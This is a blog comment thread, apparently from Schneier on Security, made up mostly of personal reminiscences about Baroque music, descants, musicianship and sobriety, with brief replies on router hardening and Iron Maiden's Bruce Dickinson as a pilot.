The round became a high art form in what we now call Baroque in the 1600-1700 music. Though it spent centuries in obscurity perhaps the now most well known example is Johann Pachelbel’s Canon and Gigue in D for 3 violins with basso continuo (other instruments that provide basic harnonic structure),

https://m.youtube.com/watch?v=s3RRQypEf4I

This form you will realise when you think about it has actually formed the basis for most “pop music” since the 1980’s…

But whilst Baroque music was a “high art” it in turn was actually based on earlier music from Celtic and what we now call folk origins (look up “Green Sleves”).

An example still very much around is based on the Scottish “O, Waly Waly” from the early 1600’s which many now know as “The water is wide”,

https://m.youtube.com/watch?v=851tCIqBokA

The reason for the “basso continuo” is actually due to the fact that most musicall instrumants including the human voice have a greater range of notes in the higher registers (ie shorter wave lengths). This was especially true of trumpet music before the invention of the slide valve. Whilst this is not the best example of John Loeillet “of London” Largo Cantabile –look for Håkan Hardenberger / Sinon Preston– you can hear the clear split,

https://m.youtube.com/watch?v=zRQTyPrm7Jg

Or try looking for Jeremiah Clarke’s “Trumpet tune and air” often incorrectly attributed to Henry Purcell who made a more recent arangment.

It’s the reson we have “descants” that go soaring off way above not just the basso continuo but melody as well, as it gives the complexity a lot of human brains absolutly crave like food from the gods. You can see it in improvisation in jass and similar.

Probably the best known originating from a simillar time period would be Charles Gounod’s Meditation on Bach’s “Ave Maria”,

https://m.youtube.com/watch?v=xJLgDQWT0Y8

The funny thing is most people who have listened to music hear this but don’t understand it (hence the twitter post). The funny thing for me is I did not realy “grok it” till chatting with Status Quo’s Francis Rossi around 1AM in the bar of a hotel in Portsmouth some decades back we both happened to be staying in. I gently teased him about the fact that the whole band were way way better musicians than their more popular music indicated (listen to some of their early stuff). He smiled and laughed and said that it was not the stuff people wanted to listen to, then explained why in a more contempory way to my above, and why it was I liked their early stuff. He was right which opened my eyes to an even funnier side to it in my own life.

At school I wanted to study music, I loved sound and it’s complexities, only the music master vetoed it. I did however learn to play the guitar, flute and for my sins the bagpipes, all fairly badly[2] 😉 But I’ve spent about 1/3rd of my working life quite profitably “in sound” of which music is a large but now incidental part. I did this by designing electronic equipment and software, both for instruments and broadcast equipment including audio processors. I’ve met more musicians than I can remember and most though they “act for the audiance” are actually very smart often quite introverted people (Which might account for the booze etc[1]).

One other thing to note, nearly all cryptogrphers I’ve met are musicians in one way or another, some are highly accomplished. The two knowledge domains appear to go “hand in hand” as does the ability to do what our host @Bruce describes as “thinking hinky” which is probably the most important asspect thus ability to have in both Physical and Information Security.

[1] It is the reason I barely drink, I like the way my brain works way to much to risk mucking it up. However it was a lesson I had to learn for myself, having sailed a little to close in my younger years. I was a “chearful and funny inebriate” and thus was popular in that state, so I actually rarely got actually “drunk drunk” or maudlin. Sadly it was the only way I could feel on the same level as people my own age and be accepted by them because they were to drunk to notice the difference. But you build up a tolerance and I got to the point I could drink a 75cl bottle of whisky and still be able to win profitably at cards and do daft things like juggle and dance and discuss fairly complex business. But I woke up one day with no trace of a hangover and thought whilst cycling to work “An I an alcoholic?” . Rather than find out I just decided to stop drinking entirely. After well for over a year in which I did not miss alcohol at all I realised I was not nore ever was, but I could have become an alcoholic. Hence I will have one or two drinks with xmass lunch, a couple of drams new years eve and some maderia on my birthday, and the odd drink occasionaly in a restaurant where it works with the food. But only in social company and almost always with food.

[2] It’s hard to feel anything other than inferior, when you are effectively following an elder sibling who is getting “tutored” every week by some of the top flight musicians there are,

https://www.bbc.co.uk/ahistoryoftheworld/objects/7ePDs-x5Rpqj6f-WoPc21g

Unfortunately, there was an awkward elephant in the room… As Dr. Brian Blood the son inlaw of the owner Carl Dolmetsch pointed out to my mother, I was way more interested in the way instruments were made than in actually playing them… He probably ment well he started out studying phisics, did stuff at CERN in the early days then moved into biophysics and ended up researching the human heart. He obviously recognised I was of “the type”. However it was the kiss of death as far as my mother was concerned, thus any music was for my sibling. Thankfully though my father well understood my inate curiosity and why I could do things like pick locks and later build boats and canoes and more importantly design them. Though my love was sound and it’s complexities, my creative talents was for “engineered things”, but I had a very real problem. Which was I could not keep still long enough to do anything but move from idea to idea faster and faster. Something that haunted me through my higher levels of education, I wanted to learn and learn the lot, and a lot more besides. But not in the pedestrian way it was taught and examined (and still is). I could and still can visualize complex objects both physical and informational from the simple raw componets/materials to the finished object[3].

[3] It’s one of the reasons I detest “OO” languages and the way they are mostly used. Imagine something simple and elegant like the leaning tower of Pisa, but in so much scaffolding you have to force your way in and even then can only see one or two blocks of stone before you see nothing but scaffolding you have to fight your way around… Who would build elegance but have it forever locked in ugly scaffolding so it can not be seen or understood as it should be? Well that’s OO for you, fail to manage complexity by putting it in rigid constraint…

Clive Robinson • December 19, 2021 10:23 PM

@ SpaceLifeForm,

Clear as mud, right?

A “napkin and Sharpie” would be easier for many…

But hey at one point I could look down lists of coordinates and see the PCB layout sufficiently to spot errors. I still can look at way-point coordinates and see which direction the journy is taking.

I can visualise words as diagrams, and graphs, from tables of data, but have never realy been able to visualise all but the simplist of formulas, and I envy those who can.

SpaceLifeForm • December 19, 2021 11:58 PM

@ lurker, Fay, Ted, Clive, ALL

I just saw this, and realized I was not clear.

The triangle routers themselves (W,S,C) must not use Java. They should have no services running, except well secured ssh access or local physical direct access with the routers inside a well secured cage (Faraday or not).

Their role in life is to route and firewall. KISS.

This is an example of what you do NOT want:

https://twitter.com/jfslowik/status/1472316791904870401/photo/1

Ted • December 20, 2021 6:42 AM

@Clive, ALL

It’s the reson we have “descants” that go soaring off way above not just the basso continuo but melody as well, as it gives the complexity a lot of human brains absolutly crave like food from the gods.

Clive do you know who you remind me of? Bruce Dickinson from Iron Maiden, also a noted British polymath.

Was ‘Hallowed Be Thy Name’ not their best song?

https://youtu.be/J51LPlP-s9o?t=95

Clive Robinson • December 20, 2021 8:28 AM

@ Ted,

Bruce is an interesting character to put it mildly.

He is also a real life hero to many people who’s lives he has saved and brought hope to.

He is a commercial airline pilot rated on various “heavies” and has flown into and out of a number of conflicts around the world, taking in hundreds of tons of humanitarian relief, and flying hundreds of people out, whilst under active “enemy” fire. One of the most notable was he was the first to fly into

He lightly jokes about his “Pilots Job” as being about ensuring he has paid in to get his UK state pension, just in case the music gig does not pan out…

He is also a world class athlete in Fencing, a successful author, teacher, businessman and much more besides.

And yes, he is “officially” a Polymath as well.

Oh he also has a rather nice WWI Foker Triplane replica he flies at air shows and historic recreation events. It once got him slightlt in trouble with the “Royal Air Force”(RAF) when he had to make an emergancy landing.

Early last year he “got his punishment” the RAF “attested” him in as an honary group captin of 601 Squadron (London). Because “every good deed gets punished” and his good deed was to fly out 200 RAF personnel from Afghanistan to RAF Wiitering on a 747. Bruce is also kind of hoping he will check out well for the RAF fencing team 😉

I very nearly ran him down one morning back at the turn of the century when cycling way to quickly down Barrowgate road in Chiswick just around the corner from where I worked at the time. My route took me over Barns Bridge along the river and through Chiswick House park, because it was quieter traffic wise and I’d usually slow down to “cool off” but I was late that morning when he steped into the road. No I did not realy recognise him till sometime later at work.

Leave a comment

Login

Allowed HTML <a href="URL"> • <em> <cite> <i> • <strong> <b> • <sub> <sup> • <ul> <ol> <li> • <blockquote> <pre> Markdown Extra syntax via https://michelf.ca/projects/php-markdown/extra/

Sidebar photo of Bruce Schneier by Joe MacInnis.